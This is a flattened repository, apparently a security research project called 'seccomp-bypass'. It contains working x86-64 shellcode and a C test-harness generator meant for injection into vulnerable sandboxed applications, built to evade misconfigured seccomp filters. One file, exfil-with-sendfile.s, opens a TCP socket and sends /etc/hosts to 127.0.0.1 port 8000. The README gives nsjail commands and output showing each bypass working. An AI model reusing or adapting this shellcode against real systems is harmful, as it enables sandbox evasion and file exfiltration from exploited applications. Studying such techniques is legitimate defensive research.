├── src ├── read-with-sendfile.s ├── read-with-mmap.s └── exfil-with-sendfile.s ├── gen-shellcode.sh └── README.md /src/read-with-sendfile.s: -------------------------------------------------------------------------------- 1 | .globl _start 2 | _start: 3 | // open 4 | movw $0x7374, %r11w /* ts */ 5 | push %r11 6 | movq $0x736f682f6374652f, %r11 /* /etc/hos */ 7 | push %r11 8 | lea 0(%rsp), %rdi 9 | xor %rsi, %rsi 10 | addb $2, %al 11 | syscall 12 | 13 | // sendfile 14 | xor %rdi, %rdi 15 | inc %rdi 16 | mov %rax, %rsi 17 | xor %rdx, %rdx 18 | mov $0xffff, %r10 19 | mov $40, %al 20 | syscall 21 | 22 | // exit 23 | xor %rdi, %rdi 24 | mov $3, %dl 25 | xor %rax, %rax 26 | mov $60, %al 27 | syscall 28 | -------------------------------------------------------------------------------- /src/read-with-mmap.s: -------------------------------------------------------------------------------- 1 | .globl _start 2 | _start: 3 | // open 4 | movw $0x7374, %r11w /* ts */ 5 | push %r11 6 | movq $0x736f682f6374652f, %r11 /* /etc/hos */ 7 | push %r11 8 | lea 0(%rsp), %rdi 9 | xor %rsi, %rsi 10 | addb $2, %al 11 | syscall 12 | 13 | // mmap 14 | xor %rdi, %rdi 15 | xor %rsi, %rsi 16 | mov $0xffff, %si 17 | xor %rdx, %rdx 18 | add $1, %dl 19 | mov %rax, %r8 20 | xor %r9, %r9 21 | xor %r10, %r10 22 | add $1, %r10b 23 | xor %rax, %rax 24 | mov $9, %al 25 | syscall 26 | 27 | // write 28 | xor %rdi, %rdi 29 | inc %dl 30 | mov %rax, %rsi 31 | xor %rdx, %rdx 32 | mov $0xffff, %dx 33 | xor %rax, %rax 34 | inc %al 35 | syscall 36 | 37 | // exit 38 | xor %rdi, %rdi 39 | mov $3, %dl 40 | xor %rax, %rax 41 | mov $60, %al 42 | syscall 43 | -------------------------------------------------------------------------------- /gen-shellcode.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Assume that first param is name of assembly file, e.g. foo.s. It expects it 4 | # to contain single code label called, "_start". 5 | file=$(sed "s/.s$//" <<< $1) 6 | sc=$(as $file.s -o $file.o; objdump -D $file.o | grep -A10000 '<_start>' | sed -e 's/.*\t\([[:alnum:]].*\)\t.*/\1/' | cut -f2- -d: | sed ':a;/$/{N;s/\n//;ba}' | sed 's/^/\\x/' | sed -e 's/[[:space:]]\+\([[:alnum:]]\)/\\x\1/g' | sed -e 's/[[:space:]]\+$//' | sed 's/\\x/\n/g' | column -c 120 -x | sed 's/^/\\x/; s/\t/\\x/g' | sed '1 s/^/"/;1 s/$/"/; 2,$ s/^\(.*\)/ "\1"/') 7 | rm $file.o 8 | cat << EOF 9 | #include 10 | #include 11 | 12 | char shellcode[] = $sc; 13 | 14 | int main(){ 15 | mprotect((void *)((uint64_t)shellcode & ~4095), 4096, PROT_READ|PROT_EXEC); 16 | (*(void(*)()) shellcode)(); 17 | return 0; 18 | } 19 | EOF 20 | -------------------------------------------------------------------------------- /src/exfil-with-sendfile.s: -------------------------------------------------------------------------------- 1 | .globl _start 2 | _start: 3 | // open 4 | movw $0x7374, %r11w /* ts */ 5 | push %r11 6 | movq $0x736f682f6374652f, %r11 /* /etc/hos */ 7 | push %r11 8 | lea 0(%rsp), %rdi 9 | xor %rsi, %rsi 10 | addb $0x02, %al 11 | syscall 12 | push %rax /* save fd for /etc/hosts */ 13 | 14 | // socket 15 | xor %rdi, %rdi 16 | mov $0x02, %rdi 17 | mov $0x01, %rsi 18 | xor %rdx, %rdx 19 | mov $41, %rax 20 | syscall 21 | push %rax /* save socket fd */ 22 | 23 | // connect 24 | mov %rax, %rdi 25 | xor %rsi, %rsi 26 | xor %r10, %r10 27 | xor %r11, %r11 28 | push %r11 29 | 30 | mov $0xfeffff80, %r10d /* ~127.0.0.1 to exclude null bytes */ 31 | not %r10d 32 | push %r10 33 | pushw $0x401f /* port 8000 */ 34 | mov $02, %r11 /* AF_INET */ 35 | push %r11w 36 | mov $0x10, %rdx 37 | mov %rsp, %rsi 38 | mov $42, %rax 39 | syscall 40 | pop %rdi /* clean the stack */ 41 | pop %rdi 42 | 43 | // sendfile 44 | pop %rdi /* socket fd */ 45 | shr $32, %rdi 46 | pop %rsi /* file fd */ 47 | shr $32, %rsi 48 | xor %rdx, %rdx 49 | mov $0xffff, %r10 /* arbitrary number of bytes to read from /etc/hosts */ 50 | mov $40, %al 51 | syscall 52 | 53 | // exit 54 | xor %rdi, %rdi 55 | mov $3, %dl 56 | xor %rax, %rax 57 | mov $60, %al 58 | syscall 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # seccomp-bypass 2 | seccomp is used by applications to restrict system calls it can make, thus sandboxing it. Its goal is to limit the application to only the facilities it needs to perform its job and nothing more. 3 | 4 | The goal here is to bypass these seccomp restrictions when exploiting applications. You need shellcode that will carry out its purpose while still adhering to the application's seccomp filter. So if the filter specifies a denial of `read` and `write`, then valid shellcode may use any system call but those. 5 | 6 | **Bypasses are possible not because seccomp is flawed, but because sometimes seccomp filters are inappropriately configured. Just like an exploit takes advantage of programming mistakes, these bypasses take advantage of configuration mistakes.** 7 | 8 | # Premise 9 | A typical exploit scenario is that you have a vulnerable application into which you can inject shell code. If it's sandboxed, you need to tailor the shellcode to include only the permitted system calls. 10 | 11 | The code below is a generated application, contrived purely to run test shellcode from `src/`. The output is a test program that we run to confirm the shellcode's viability when injected into a foreign application. 12 | 13 | >: ./gen-shellcode.sh src/read-with-mmap.s 14 | ```c 15 | #include 16 | #include 17 | 18 | char shellcode[] = "\x66\x41\xbb\x74\x73\x41\x53\x49\xbb\x2f\x65\x74\x63\x2f\x68" 19 | "\x6f\x73\x41\x53\x48\x8d\x3c\x24\x48\x31\xf6\x04\x02\x0f\x05" 20 | "\x48\x31\xff\x48\x31\xf6\x66\xbe\xff\xff\x48\x31\xd2\x80\xc2" 21 | "\x01\x49\x89\xc0\x4d\x31\xc9\x4d\x31\xd2\x41\x80\xc2\x01\x48" 22 | "\x31\xc0\xb0\x09\x0f\x05\x48\x31\xff\xfe\xc2\x48\x89\xc6\x48" 23 | "\x31\xd2\x66\xba\xff\xff\x48\x31\xc0\xfe\xc0\x0f\x05\x48\x31" 24 | "\xff\xb2\x03\x48\x31\xc0\xb0\x3c\x0f\x05"; 25 | 26 | int main(){ 27 | mprotect((void *)((uint64_t)shellcode & ~4095), 4096, PROT_READ|PROT_EXEC); 28 | (*(void(*)()) shellcode)(); 29 | return 0; 30 | } 31 | ``` 32 | This program is a test harness for the shellcode that'll be injected into the vulnerable application. It's this shellcode that is intended to leverage only the system calls permitted by the vulnerable application's seccomp filter. 33 | 34 | Compile it with: `$gcc -static read-with-mmap.c -o read-with-mmap` 35 | 36 | # Examples 37 | Below are examples of shellcodes that perform each section's goal within certain system call constraints. Each goal has one or more shellcodes using a combination of system call combinations to achieve it. 38 | 39 | *To follow along, use [Google's nsjail](https://github.com/google/nsjail) to run programs with a specific seccomp policy.* 40 | 41 | ## Read a file from the filesystem 42 | Each of these examples reads the file `/etc/hosts` from the target system using a variety of system calls. 43 | ### read-with-mmap.s 44 | #### syscalls: `open`,`write`, `mmap`,`exit` 45 | This example is based on shellcode from `src/read-with-mmap.s`. You can see the line `127.0.0.1 localhost` present in the output below, which is a sign the seccomp filter is bypassed successfully. 46 | 47 | Try replacing the `read` in the DENY clause with `open`,`exit`,`write`, or `mmap`. Doing so should cause the command to fail because the shellcode in this example uses all four of those calls. 48 | 49 | Generate the program: 50 | ```bash 51 | >: f=`tempfile`; ./gen-shellcode.sh src/read-with-mmap.s > $f.c; gcc -static $f.c -o $f 52 | ``` 53 | 54 | Now run it with seccomp filters in place with `nsjail`: 55 | ```bash 56 | >: ~/nsjail/nsjail -Mo --chroot / --seccomp_string 'POLICY a { DENY { read } } USE a DEFAULT ALLOW' -- $f 57 | [2017-05-12T16:48:04-0700] Mode: STANDALONE_ONCE 58 | ... 59 | [2017-05-12T16:48:04-0700] Executing '/tmp/fileVRncd7' for '[STANDALONE_MODE]' 60 | 127.0.0.1 localhost 61 | ``` 62 | 63 | Below shows a default DENY policy. You'll need to allow a few more system calls to use it in this example. This is a wider set of calls than what is required of an application in the wild, which does "start > set seccomp filter > fork", because in this example case we have to interact with the OS to set up the process space first (doing an `execve` and not just a `fork`. 64 | 65 | ```bash 66 | >: ~/nsjail/nsjail -Mo --chroot / --seccomp_string 'POLICY a { ALLOW { open, write, mmap, execve, newuname, brk, arch_prctl, readlink, access, mprotect, exit } } USE a DEFAULT DENY' -- $f 67 | ``` 68 | 69 | ### read-with-sendfile.s 70 | #### syscalls: `open`, `sendfile`,`exit` 71 | This example is based on shellcode from `src/read-with-sendfile.s`. We can get away with reading a file with just these two system calls, explicitly denying the typical `read` and `mmap` calls. 72 | 73 | Blacklist policy (default allow): 74 | ```bash 75 | >: f=`tempfile`; ./gen-shellcode.sh src/read-with-sendfile.s > $f.c; gcc -static $f.c -o $f 76 | >: ~/nsjail/nsjail -Mo --chroot / --seccomp_string 'POLICY a { DENY { read,write,mmap } } USE a DEFAULT ALLOW' -- $f 77 | [2017-05-15T16:03:04-0700] Mode: STANDALONE_ONCE 78 | ... 79 | [2017-05-15T16:03:04-0700] Executing '/tmp/fileCNqBB4' for '[STANDALONE_MODE]' 80 | 127.0.0.1 localhost 81 | ``` 82 | 83 | Whitelist policy (default deny): 84 | ```bash 85 | >: ~/nsjail/nsjail -Mo --chroot / --seccomp_string 'POLICY a { ALLOW { open, sendfile64, execve, newuname, brk, arch_prctl, readlink, access, mprotect, exit } } USE a DEFAULT DENY' -- $f 86 | ``` 87 | 88 | ## Remotely read a file from the filesystem 89 | Each of these examples exfiltrates the file `/etc/hosts` from the target system using a variety of system calls. 90 | 91 | ### exfil-with-sendfile.s 92 | #### syscalls: `open`, `sendfile`, `socket`, `connect`,`exit` 93 | This example is based on shellcode from `src/exfil-with-sendfile.s`. This will read `/etc/hosts` on the target and dump it to 127.0.0.1 TCP/8000. This currently only supports ipv4. 94 | --------------------------------------------------------------------------------